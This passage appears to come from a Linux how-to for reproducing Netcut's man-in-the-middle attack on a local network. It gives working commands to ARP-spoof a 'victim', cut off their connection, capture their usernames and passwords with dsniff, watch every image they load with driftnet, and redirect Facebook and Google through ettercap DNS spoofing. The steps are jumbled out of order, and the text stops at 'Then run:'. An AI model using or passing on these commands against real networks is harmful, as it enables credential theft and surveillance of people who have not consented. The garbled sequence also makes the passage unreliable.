sudo dsniff -i eth0 As the victim browses non-HTTPS sites, their usernames and passwords will appear in your terminal. Capture every image the victim views (even without downloading):
Alternatively, use netdiscover :
sudo netdiscover -r 192.168.1.0/24 This will list all IPs and MAC addresses on your network. Note the (usually 192.168.1.1) and the Victim IP (e.g., 192.168.1.105). Phase 2: Enabling IP Forwarding (The "Cut" vs "Monitor") Netcut’s "cut" feature works by disabling packet forwarding. To cut someone off:
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.105 Congratulations. You are now the man-in-the-middle. This is the Linux equivalent of Netcut’s core engine. To replicate Netcut’s infamous "cut" button, simply stop forwarding packets while the spoof is active.
sudo driftnet -i eth0 A window will pop up displaying every JPEG, PNG, or GIF they load. Modify /etc/ettercap/etter.dns :
*.facebook.com A 192.168.1.100 www.google.com A 192.168.1.100 Then run: